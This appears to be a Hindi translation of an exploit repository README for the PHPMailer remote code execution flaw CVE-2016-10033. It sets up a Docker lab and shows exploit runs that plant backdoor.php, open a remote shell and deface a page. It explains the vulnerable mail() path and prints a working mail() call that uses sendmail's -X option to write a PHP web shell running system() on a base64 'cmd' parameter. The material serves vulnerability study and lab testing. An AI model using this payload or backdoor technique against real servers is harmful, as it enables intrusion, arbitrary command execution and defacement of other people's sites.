
PHPMailer < 5.2.18 रिमोट कोड निष्पादन
PHPMailer दुनिया का सबसे लोकप्रिय ट्रांसपोर्ट क्लास है, जिसके दुनिया भर में अनुमानित 9 मिलियन उपयोगकर्ता हैं। डाउनलोड प्रतिदिन महत्वपूर्ण गति से जारी है। कई ओपन-सोर्स प्रोजेक्ट्स द्वारा उपयोग किया जाता है: WordPress, Drupal, 1CRM, SugarCRM, Yii, Joomla! और कई अन्य
PHPMailer के संस्करण 5.2.18 से पहले के संस्करण एक भेद्यता से ग्रस्त हैं जो रिमोट कोड निष्पादन (RCE) का कारण बन सकती है। PHPMailer में isMail ट्रांसपोर्ट में mailSend फ़ंक्शन, जब Sender प्रॉपर्टी सेट नहीं होती है, तो रिमोट हमलावरों को mail कमांड में अतिरिक्त पैरामीटर पास करने और फलस्वरूप एक क्राफ्ट किए गए From पते में " (बैकस्लैश डबल कोट) के माध्यम से मनमाना कोड निष्पादित करने की अनुमति दे सकता है।
अपने परीक्षण के लिए एक भेद्य वातावरण स्थापित करने के लिए आपको Docker स्थापित करना होगा, और बस निम्नलिखित कमांड चलाएँ:
docker run --rm -it -p 8080:80 vulnerables/cve-2016-10033
और यह आपके होस्ट पर 8080 पोर्ट पर एक भेद्य वेब एप्लिकेशन स्पॉन करेगा

इस लक्ष्य का शोषण करने के लिए बस चलाएँ:
./exploit host:port
यदि आप इस भेद्य इमेज का उपयोग कर रहे हैं, तो आप बस चला सकते हैं:
./exploit localhost:8080
शोषण के बाद, backdoor.php नामक एक फ़ाइल वेब निर्देशिका के रूट फ़ोल्डर में संग्रहीत होगी। और शोषण आपको एक शेल देगा जहाँ आप बैकडोर को कमांड भेज सकते हैं:
./exploit.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Running whoami
www-data
RemoteShell>
और बस, आपके पास आपका शेल है। एक और शोषण है, जो एक अन्य उपयोग के मामले को दर्शाता है।
./deface.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Placing your message in the server
[+] Job done, exiting
और यदि आप पृष्ठ पर फिर से जाते हैं, तो आप इसे देखेंगे:

इस कमिट से पहले class.phpmailer.php में एक निश्चित परिदृश्य में प्रेषक के ईमेल पते के विशेष वर्णों पर कोई फ़िल्टर नहीं है। यह दोष mail फ़ंक्शन के माध्यम से रिमोट कोड निष्पादन का कारण बन सकता है यहाँ।
कोड का विश्लेषण करने पर, mailSend() फ़ंक्शन में कोई फ़िल्टर नहीं है
$params = null;
//This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
if (!empty($this->Sender)) {
$params = sprintf('-f%s', $this->Sender);
}
$this->Sender सीधे $params वेरिएबल में जुड़ जाता है, जिसे validateAddress() फ़ंक्शन में फ़िल्टर किया गया था, लेकिन चूंकि यह RFC 3696 विनिर्देश का उपयोग करता है, यह कुछ वर्णों की अनुमति देता है जो चीजों को तोड़ देंगे।
इस मामले में, उद्धरण:
बैकस्लैश वर्ण का उपयोग करके उद्धृत करने के अलावा, पारंपरिक डबल-कोट वर्णों का उपयोग स्ट्रिंग्स को घेरने के लिए किया जा सकता है। उदाहरण के लिए
"Abc@def"@example.com
"Fred Bloggs"@example.com
उपरोक्त पहले दो उदाहरणों के वैकल्पिक रूप हैं। ये उद्धृत रूप शायद ही कभी अनुशंसित होते हैं, और व्यवहार में असामान्य हैं, लेकिन, जैसा कि ऊपर चर्चा की गई है, ईमेल पतों को संसाधित करने वाले अनुप्रयोगों द्वारा समर्थित होना चाहिए। विशेष रूप से, उद्धृत रूप अक्सर अन्य सिस्टम और संदर्भों से संक्रमण से जुड़े पतों के संदर्भ में दिखाई देते हैं; वे संक्रमण संबंधी आवश्यकताएं अभी भी उत्पन्न होती हैं और, चूंकि एक सिस्टम जो उपयोगकर्ता द्वारा प्रदान किया गया ईमेल पता स्वीकार करता है, वह "जान" नहीं सकता कि वह पता किसी लीगेसी सिस्टम से जुड़ा है या नहीं, पते के रूपों को स्वीकार किया जाना चाहिए और ईमेल वातावरण में पारित किया जाना चाहिए।
यदि आप चाहें तो पूरा RFC यहाँ पढ़ सकते हैं। लेकिन, यदि PHP संस्करण 5.2.0 से कम है, और PCRE स्थापित नहीं है, तो validateAddress() में $patternselect वेरिएबल को noregex पर सेट कर दिया जाएगा। इससे इनपुट किसी भी regex जांच से बचने में सक्षम हो जाएगा। यह केवल एक छोटी सत्यापन से गुजरेगा:
case 'noregex':
//No PCRE! Do something _very_ approximate!
//Check the address is 3 chars or longer and contains an @ that's not the first or last char
return (strlen($address) >= 3
and strpos($address, '@') >= 1
and strpos($address, '@') != strlen($address) - 1);
फिर, कोड प्रवाह mailPassthru() फ़ंक्शन पर जाता है, जो यदि safe_mode में चल रहा है, तो इस दोष के प्रति संवेदनशील नहीं होगा, जैसा कि निम्नलिखित कोड कहता है
//Can't use additional_parameters in safe_mode
//@link http://php.net/manual/en/function.mail.php
if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
$result = @mail($to, $subject, $body, $header);
} else {
$result = @mail($to, $subject, $body, $header, $params);
}
लेकिन, यदि यह safe_mode में नहीं चल रहा है, तो हमारा विशेष पैरामीटर mail() को पास किया जाएगा और, यदि हम भाग्यशाली रहे, तो यह हमारी फ़ाइल को प्राप्त करेगा जिसमें जो कुछ भी हम चाहते हैं, उसे वहाँ लिखा जाएगा जहाँ हम इसे लिखना चाहते हैं।
PHP mail() फ़ंक्शन का शोषण कोई नई बात नहीं है, लेकिन यह अभी भी जीवित है और लोग अभी भी इसका उपयोग कर रहे हैं। यह समझाने के लिए कि यह कैसे काम करता है, आइए देखें कि mail() फ़ंक्शन कैसे परिभाषित किया गया है:
bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )
विभिन्न परिणामों के लिए कई शोषण विधियाँ हैं, हम रिमोट कोड निष्पादन (RCE) प्राप्त करने के लिए 5वें पैरामीटर के शोषण पर ध्यान केंद्रित करेंगे। पैरामीटर $additional_parameters का उपयोग ईमेल भेजने के लिए कॉन्फ़िगर किए गए प्रोग्राम में कमांड लाइन विकल्पों के रूप में अतिरिक्त फ़्लैग पास करने के लिए किया जाता है। यह कॉन्फ़िगरेशन sendmail_path वेरिएबल द्वारा परिभाषित किया गया है।
PHP आधिकारिक दस्तावेज़ीकरण से एक सुरक्षा नोट:
The additional_parameters parameter can be used to pass additional flags as command line options to the program configured to be used when sending mail, as defined by the sendmail_path configuration setting. For example, this can be used to set the envelope sender address when using sendmail with the -f sendmiail option.
This parameter is escaped by escapeshellcmd() internally to prevent command execution. escapeshellcmd() prevents command execution, but allows to add additional parameters. For security reasons, it is recommended for the user to sanitize this parameter to avoid adding unwanted parameters to the shell command.
इंजेक्ट किए जा सकने वाले अतिरिक्त पैरामीटरों पर विचार करते हुए हम इस दोष का शोषण करने के लिए -X का उपयोग करेंगे। -X पैरामीटर के बारे में अधिक जानकारी
-X logfile
Log all traffic in and out of mailers in the indicated log file. This should only be used as a last resort for debugging mailer bugs. It will log a lot of data very quickly.
कुछ अन्य दिलचस्प पैरामीटर भी हैं जिनके बारे में आपको पता होना चाहिए कि वे मौजूद हैं:
-Cfile
Use alternate configuration file. Sendmail gives up any enhanced (set-user-ID or set-group-ID) privileges if an alternate configuration file is specified.
और
-O option=value
Set option option to the specified value. This form uses long names.
और -O विकल्प के लिए, QueueDirectory सबसे दिलचस्प विकल्प है, यह विकल्प उस निर्देशिका का चयन करता है जिसमें संदेशों को क्यू में रखा जाए।
यदि आप पैरामीटर और विकल्पों की पूरी सूची पढ़ना चाहते हैं, तो बस man sendmail करें या इसे ऑनलाइन यहाँ पढ़ें
इस जानकारी के आधार पर, और कम से कम एक अन्य पैरामीटर को नियंत्रित करने की क्षमता के साथ, हम होस्ट का शोषण कर सकते हैं। सफल शोषण के चरण नीचे दिए गए हैं:
$additional_parameters और एक अन्य mail() पैरामीटर को नियंत्रित करेंwebroot (अन्य सिस्टम के लिए /var/www/html, इस उदाहरण के लिए /www) के नीचे कुछ भी हो सकती हैsystem() पेलोड का उपयोग कर रहे हैं, जिसमें base64 और कुछ विशेष वर्ण | का मिश्रण है जिससे पार्स करना आसान हो जाता है।याद रखें कि -X विकल्प लॉग फ़ाइल लिखेगा, जिसमें लॉग जानकारी के बीच आपका PHP पेलोड होगा, उस निर्देशिका में जिसे आप सूचित करेंगे। एक भेद्य PHP कोड का उदाहरण:
$to = '[email protected]';
$subject = '<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>';
$message = 'Pwned';
$headers = '';
$options = '-OQueueDirectory=/tmp -X/www/backdoor.php';
mail($to, $subject, $message, $headers, $options);
यदि आप उपरोक्त कोड निष्पादित करते हैं, तो यह /www/backdoor.php में एक लॉग फ़ाइल बनाएगा, यह इस शोषण का सार है।
इस उदाहरण में उपयोग किया गया पेलोड नीचे दिया गया है
<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>
इस दोष का पता लगाने का एक आसान, एक कमांड तरीका चाहते हैं? इस जादुई grep कमांड को याद रखें!
grep -r -n --include "*.php" "mail(.*,.*,.*,.*,.*)" *
इस रिपॉजिटरी के विरुद्ध इसे चलाने पर परिणाम होगा
src/class.phpmailer.php:700: $result = @mail($to, $subject, $body, $header, $params);
यह भेद्यता Dawid Golunski द्वारा पाई गई थी।
यह या पिछला प्रोग्राम केवल शैक्षिक उद्देश्य के लिए है। बिना अनुमति के इसका उपयोग न करें। सामान्य अस्वीकरण लागू होता है, विशेष रूप से यह तथ्य कि मैं (opsxcq) इन प्रोग्रामों द्वारा प्रदान की गई जानकारी या कार्यक्षमता के प्रत्यक्ष या अप्रत्यक्ष उपयोग से होने वाली किसी भी क्षति के लिए उत्तरदायी नहीं हूँ। लेखक या कोई भी इंटरनेट प्रदाता इन प्रोग्रामों या उनके किसी भी व्युत्पन्न की सामग्री या दुरुपयोग के लिए कोई जिम्मेदारी नहीं लेता है। इन प्रोग्रामों का उपयोग करके आप इस तथ्य को स्वीकार करते हैं कि इन प्रोग्रामों के उपयोग से होने वाली कोई भी क्षति (डेटा हानि, सिस्टम क्रैश, सिस्टम से समझौता, आदि) opsxcq की जिम्मेदारी नहीं है।